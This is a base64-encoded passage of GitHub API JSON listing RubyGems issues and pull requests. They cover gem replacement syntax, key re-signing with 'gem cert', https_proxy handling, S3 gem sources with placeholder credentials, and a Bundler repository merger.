nIGEgbGlicmFyeSBhbmQgZGVwZW5kZW5jeSByZXNvbHV0aW9uLlxuXG5UaGVyZSBhcmUgYSBjb3VwbGUgb2Ygd2F5cyB0byBhZGRyZXNzIHRoaXMuIEknbGwgdXNlIEFyY2gncyBgcGFjbWFuYCBwYWNrYWdlIG1hbmFnZXIgYXMgb25lIGV4YW1wbGUuXG5cbkZpcnN0bHksIGEgcGFjbWFuIHBhY2thZ2UgaGFzIHNldmVyYWwgZmllbGRzOiBgcHJvdmlkZXNgLCBgY29uZmxpY3RzYCBhbmQgYGRlcGVuZHNgLiBUaGVzZSBhcmUgaW5kZXBlbmRlbnQgb2YgdGhlIHBhY2thZ2UgbmFtZS4gRm9yIGV4YW1wbGUsIHRoZXJlIGFyZSBzZXZlcmFsIHBhY2thZ2VzIHdoaWNoIHByb3ZpZGUgamF2YS5cblxuSGVyZSBpcyB0aGUgSlJFIDcgcGFja2FnZSBcIkdlbWZpbGVcIjogaHR0cHM6Ly9naXQuYXJjaGxpbnV4Lm9yZy9zdm50b2dpdC9wYWNrYWdlcy5naXQvdHJlZS90cnVuay9QS0dCVUlMRD9oPXBhY2thZ2VzL2phdmE3LW9wZW5qZGtcblxuSGVyZSBpcyB0aGUgSlJFIDggcGFja2FnZSBcIkdlbWZpbGVcIjogaHR0cHM6Ly9naXQuYXJjaGxpbnV4Lm9yZy9zdm50b2dpdC9wYWNrYWdlcy5naXQvdHJlZS90cnVuay9QS0dCVUlMRD9oPXBhY2thZ2VzL2phdmE4LW9wZW5qZGtcblxuTm90ZSB0aGUgbGluZXMgc3RhcnRpbmcgd2l0aCBgcHJvdmlkZXNgICh0aGVyZSBhcmUgc2V2ZXJhbCBkaXNjcmV0ZSBwYWNrYWdlIGJ1aWx0IGZyb20gdGhpcyBQS0dCVUlMRCBmaWxlKS5cblxuRXNzZW50aWFsbHksIHdpdGggUnVieUdlbXMsIHRoZSBvbmx5IHdheSB0byByZXF1aXJlIGZ1bmN0aW9uYWxpdHkgaXMgdG8gc3BlY2lmeSB0aGUgZXhhY3QgbmFtZSBvZiB0aGUgZ2VtLlxuXG5UaGVyZWZvcmUsIGl0J3Mgbm90IHBvc3NpYmxlIHRvIG1ha2UgYW5vdGhlciBnZW0sIHdoaWNoIHJlcGxhY2VzIHRoZSBmdW5jdGlvbmFsaXR5IG9mIGFuIGV4aXN0aW5nIGdlbSwgYW5kIGluY2x1ZGUgdGhhdCBhcyBhIHJlcGxhY2VtZW50LiBUaGlzIGxpbWl0YXRpb24gYmVjb21lcyBhbiBpc3N1ZSB3aGVuIHVzaW5nIGEgdG9vbCBzdWNoIGFzIGBidW5kbGVyYCB3aGljaCBkb2VzIGRlcGVuZGVuY3kvdmVyc2lvbiBtYW5hZ2VtZW50IGFuZCBlbmZvcmNlcyBzdHJpY3QgcnVsZXMgb24gd2hhdCBjYW4gYW5kIGNhbid0IGJlIGluc3RhbGxlZC5cblxuSSdkIGxpa2UgdG8gYWRkIHN1cHBvcnQsIHdpdGhvdXQgYW55IHNwZWNpZmljIHJlcXVpcmVtZW50IG9uIHN5bnRheCwgdG8gcmVwbGFjZSBhIHBhY2thZ2Ugd2l0aCBhIGRpZmZlcmVudCBwYWNrYWdlLlxuXG5JJ2QgbGlrZSB0byBzdWdnZXN0IHNvbWUgcG9zc2libGUgc3ludGF4IGZvciB0aGlzOlxuXG5gYGBcbiMgSWRlYSAxOiBTaW1wbHkgaWdub3JlcyB0aGlzIGdlbSBhcyBhIGRlcGVuZGVuY3ksIHRoZW4gd2Ugc3BlY2lmeSBhbm90aGVyIG9uZSBsYXRlciBvbjpcbmdlbSBcIm1pbWUtdHlwZXNcIiwgaWdub3JlOiB0cnVlXG5nZW0gXCJtaW1lLXR5cGVzLW5hdGl2ZVwiLCBcIn4+IDEuMFwiXG5cbiMgSWRlYSAyOiBPdmVycmlkZSB0aGlzIGdlbSB3aXRoIGRpZmZlcmVudCB2ZXJzaW9uIHJlcXVpcmVtZW50c1xuZ2VtIFwibWltZS10eXBlc1wiLCBvdmVycmlkZTogXCJ+PiAzLjBcIlxuXG4jIElkZWEgMzogTWFyayBhIGdlbSB0byBiZSByZXBsYWNlZCBieSBhbm90aGVyIHdoaWNoIGlzIHNwZWNpZmllZCBlbHNld2hlcmUuXG5nZW0gXCJtaW1lLXR5cGVzXCIsIHByb3ZpZGVkX2J5OiBcIm1pbWUtdHlwZXMtbmF0aXZlXCJcbmdlbSBcIm1pbWUtdHlwZXMtbmF0aXZlXCIsIFwifj4gMS4wXCJcbmBgYFxuXG5JbiB0aGUgbGFzdCBjYXNlLCBwcm92aWRlZF9ieSBpcyBmdW5jdGlvbmFsbHkgc2ltaWxhciB0byBgZ2l0OmAgYnV0IG9mIGNvdXJzZSBpdCdzIG5vdCBwdWxsaW5nIHRoZSBnZW0gZnJvbSBnaXQgYnV0IGp1c3QgYW5vdGhlciBnZW0uIFRoZSBpZGVhcyBhYm92ZSBhcmUgbm90IGNvbmNyZXRlIGJ1dCBtZWFudCB0byBiZSBhIHN0YXJ0aW5nIHBvaW50IGZvciBkaXNjdXNzaW9uLlxuXG5JIHRoaW5rIHRoZSBjb3JlIHByb2JsZW0gaGVyZSBpcyB0aGUgaW5hYmlsaXR5IHRvIHNwZWNpZnkgXCJJIGRlcGVuZCBvbiB0aGlzIHNwZWNpZmljIGdlbVwiIHZzIFwiSSBkZXBlbmQgb24gc29tZW9uZSBwcm92aWRpbmcgdGhpcyBBUElcIi5cblxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS5cbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTcyMCIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNzIwL2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNzIwL2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE3MjAvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE3MjAiLCJpZCI6MTc4MzU2ODE1LCJudW1iZXIiOjE3MjAsInRpdGxlIjoiRmVhdHVyZSBSZXF1ZXN0OiBBZGQgYWJpbGl0eSB0byByZXNpZ24ga2V5IHdpdGggZ2VtIGNlcnQgY29tbWFuZCIsInVzZXIiOnsibG9naW4iOiJkamJlcmc5NiIsImlkIjo3ODUyOSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNzg1Mjk/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2RqYmVyZzk2IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vZGpiZXJnOTYiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kamJlcmc5Ni9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kamJlcmc5Ni9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kamJlcmc5Ni9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZGpiZXJnOTYvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kamJlcmc5Ni9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2RqYmVyZzk2L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2RqYmVyZzk2L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZGpiZXJnOTYvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2RqYmVyZzk2L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjozMDU1MjQ3NTAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwZmVhdHVyZSUyMHJlcXVlc3QiLCJuYW1lIjoidHlwZTogZmVhdHVyZSByZXF1ZXN0IiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6NCwiY3JlYXRlZF9hdCI6IjIwMTYtMDktMjFUMTQ6MDU6MTNaIiwidXBkYXRlZF9hdCI6IjIwMTYtMTAtMDJUMTY6NDE6NTZaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJNRU1CRVIiLCJib2R5IjoiSXQgd291bGQgYmUgbmljZSBpZiBJIGNvdWxkIHJlc2lnbiBteSBrZXkgd2l0aCB0aGUgXCJnZW0gY2VydFwiIGNvbW1hbmQgaW5zdGVhZCBvZiBnZW5lcmF0aW5nIGEgbmV3IG9uZS5cblxuSSdtIG5vdCB0aGF0IGZhbWlsaWFyIHdpdGgga2V5IHNpZ25pbmcsIGJ1dCBsb29raW5nIGF0IEdlbTo6U2VjdXJpdHk6OlNpZ25lciwgSSBzZWUgYSByZV9zaWduX2tleSBtZXRob2QsIHNvIEknbSBndWVzcyB0aGF0IGl0J3MgcG9zc2libGUuXG5cbkNvdWxkIHdlIGFkZCBhIFwiLVIvLS1yZXNpZ25cIiAob3Igd2hhdGV2ZXIpIG9wdGlvbiB0byB0aGUgZ2VtIGNlcnQgY29tbWFuZCB0aGF0IHdvdWxkIGRvIHRoaXM/XG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE3MDYiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTcwNi9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTcwNi9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNzA2L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNzA2IiwiaWQiOjE3NDkwMTQwOCwibnVtYmVyIjoxNzA2LCJ0aXRsZSI6Imh0dHBzX3Byb3h5IGVudmlyb25tZW50IHZhcmlhYmxlIGlzIGlnbm9yZWQgd2hlbiBlbXB0eSIsInVzZXIiOnsibG9naW4iOiJzaGFpY29sZW1hbiIsImlkIjoxMjcyMjUsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyNzIyNT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hhaWNvbGVtYW4iLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zaGFpY29sZW1hbiIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoYWljb2xlbWFuL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoYWljb2xlbWFuL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoYWljb2xlbWFuL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGFpY29sZW1hbi9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NoYWljb2xlbWFuL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hhaWNvbGVtYW4vb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hhaWNvbGVtYW4vcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zaGFpY29sZW1hbi9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2hhaWNvbGVtYW4vcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjQ0MzMzNDE4MCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvY29udHJpYnV0aW9uOiUyMHVuY2xhaW1lZCIsIm5hbWUiOiJjb250cmlidXRpb246IHVuY2xhaW1lZCIsImNvbG9yIjoiREREREREIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjMwNTUyNDc1MCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBmZWF0dXJlJTIwcmVxdWVzdCIsIm5hbWUiOiJ0eXBlOiBmZWF0dXJlIHJlcXVlc3QiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjo0LCJjcmVhdGVkX2F0IjoiMjAxNi0wOS0wM1QxNToxNjo1MVoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0wMy0xMVQxNzozNjozOVoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiVGhlIGh0dHBzX3Byb3h5IGVudmlyb25tZW50IHZhcmlhYmxlIGlzIGlnbm9yZWQgd2hlbiBpdCdzIGVtcHR5LCBhbmQgaXQgY2F1c2VzIGl0IHRvIGRvd25sb2FkIHRoZSBnZW0gdGhyb3VnaCB0aGUgaHR0cCBwcm94eS5cblxuYGBgXG4jIHRoaXMgdXNlcyB0aGUgaHR0cF9wcm94eSBlbnZpcm9ubWVudCB2YXJpYWJsZSBhcyBhIHByb3h5LFxuIyB3aGVuIGl0IHNob3VsZCBub3QgdXNlIGEgcHJveHkgYXMgaHR0cHNfcHJveHkgaXMgc2V0IGJ1dCBlbXB0eVxuaHR0cF9wcm94eT0naHR0cDovLzEuMi4zLjQ6MTIzNCcgaHR0cHNfcHJveHk9JycgZ2VtIGluc3RhbGwgcmFrZVxuYGBgXG5cblRoaXMgbWFrZXMgaXQgaW1wb3NzaWJsZSB0byB1c2UgYSBwcm94eSB0aGF0IG9ubHkgc3VwcG9ydHMgSFRUUCByZXF1ZXN0cywgYnV0IG5vdCB3aXRoIEhUVFBTIChlLmcuIG5naW54IGFzIGEgZm9yd2FyZCBwcm94eSlcblxuRW52aXJvbm1lbnQ6IFJ1YnlHZW1zIDIuNi42LCBSdWJ5IDIuMy4xcDExMiwgVWJ1bnR1IDE2LjA0IHg2NFxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS5cbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTY5MCIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjkwL2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjkwL2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2OTAvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNjkwIiwiaWQiOjE3MjA1MjY1MCwibnVtYmVyIjoxNjkwLCJ0aXRsZSI6IlMzIHNvdXJjZSIsInVzZXIiOnsibG9naW4iOiJzb25hbGtyMTMyIiwiaWQiOjc2ODA2NjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91Lzc2ODA2NjI/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NvbmFsa3IxMzIiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zb25hbGtyMTMyIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc29uYWxrcjEzMi9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zb25hbGtyMTMyL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NvbmFsa3IxMzIvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NvbmFsa3IxMzIvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zb25hbGtyMTMyL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc29uYWxrcjEzMi9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zb25hbGtyMTMyL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc29uYWxrcjEzMi9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc29uYWxrcjEzMi9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA3Mzc0NDU1LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwdHJpYWdlIiwibmFtZSI6InN0YXR1czogdHJpYWdlIiwiY29sb3IiOiJmZWYyYzAiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MywiY3JlYXRlZF9hdCI6IjIwMTYtMDgtMTlUMDQ6MzI6NTFaIiwidXBkYXRlZF9hdCI6IjIwMTctMDItMDhUMTk6MDE6MzJaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJNRU1CRVIiLCJwdWxsX3JlcXVlc3QiOnsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xNjkwIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNjkwIiwiZGlmZl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNjkwLmRpZmYiLCJwYXRjaF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNjkwLnBhdGNoIn0sImJvZHkiOiIjIERlc2NyaXB0aW9uOlxuXG5TdXBlcnNlZGVzOiAjMTEzNCBcblxuPiBDdXJyZW50bHkgczMgc291cmNlcyBhcmUgYWxtb3N0IHN1cHBvcnRlZCBpbiBydWJ5Z2VtcywgYnV0IGl0IHdpbGwgb25seSB3b3JrIGlmIHlvdSBhcmUgbHVja3kgZW5vdWdoIHRoYXQgeW91ciBBV1Mgc2VjcmV0IGtleSBoYXMgbm8gc3BlY2lhbCBjaGFyYWN0ZXJzIGluIGl0LiBUaGlzIHBhdGNoIGZpeGVzIHRoYXQgYnkgbW92aW5nIHRoZSBjb25maWcgaW50byB0aGUgLmdlbXJjLlxuPiBJbnN0ZWFkIG9mIGVuY29kaW5nIHRoZSBpZCBhbmQgc2VjcmV0IGludG8gdGhlIHVybCwgZWRpdCB0aGUgLmdlbXJjIGZpbGUgd2l0aCB0aGUgYXV0aGVudGljYXRpb24gbmVlZGVkIGZvciBlYWNoIHNvdXJjZS4gWW91IG11c3QgYWRkIHRoZSBzMyBidWNrZXQgdG8gdGhlIHJlZ3VsYXIgc291cmNlcywgdGhlbiBhZGQgdGhlIHMzX3NvdXJjZSBrZXkgd2l0aCBhIHNldCBvZiBjcmVkZW50aWFscyBmb3IgZWFjaCBzMyBob3N0bmFtZS5cbj4gXG4+IGBgYFxuPiA6c291cmNlczpcbj4gLSBzMzovL2J1Y2tldDEvcGF0aFxuPiAtIHMzOi8vYnVja2V0Mi9cbj4gLSBodHRwczovL3J1YnlnZW1zLm9yZy9cbj4gczNfc291cmNlOiB7XG4+ICAgYnVja2V0MToge1xuPiAgICAgaWQ6IFwiQU9VRUFPRVUxMjMxMjNBT0VVQU9cIixcbj4gICAgIHNlY3JldDogXCJhb2RudWh0ZGFvL3NhZXVodG8rMTkyODNvYWVodS9hc29ldSsxMjNoXCJcbj4gICB9LFxuPiAgIGJ1Y2tldDI6IHtcbj4gICAgIGlkOiBcIkFPVUVBT0VVMTIzMTIzQU9FVUFPXCIsXG4+ICAgICBzZWNyZXQ6IFwiYW9kbnVodGRhby9zYWV1aHRvKzE5Mjgzb2FlaHUvYXNvZXUrMTIzaFwiXG4+ICAgfVxuPiB9XG4+IGBgYFxuIyBUYXNrczpcbi0gW3hdIERlc2NyaWJlIHRoZSBwcm9ibGVtIC8gZmVhdHVyZVxuLSBbeF0gV3JpdGUgdGVzdHNcbi0gW3hdIFdyaXRlIGNvZGUgdG8gc29sdmUgdGhlIHByb2JsZW1cbi0gWyBdIEdldCBjb2RlIHJldmlldyBmcm9tIGNvd29ya2VycyAvIGZyaWVuZHNcbi0gWyBdIFtTcXVhc2ggY29tbWl0c10oaHR0cDovL2dpdHJlYWR5LmNvbS9hZHZhbmNlZC8yMDA5LzAyLzEwL3NxdWFzaGluZy1jb21taXRzLXdpdGgtcmViYXNlLmh0bWwpXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2ODEiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTY4MS9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTY4MS9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjgxL2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjgxIiwiaWQiOjE3MDA0Mjc0MCwibnVtYmVyIjoxNjgxLCJ0aXRsZSI6IlJ1YnlHZW1zL0J1bmRsZXIgcmVwb3NpdG9yeSBtZXJnZXIgY29uc2lkZXJhdGlvbnMiLCJ1c2VyIjp7ImxvZ2luIjoiaW5kaXJlY3QiLCJpZCI6NzgsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91Lzc4P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2luZGlyZWN0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZ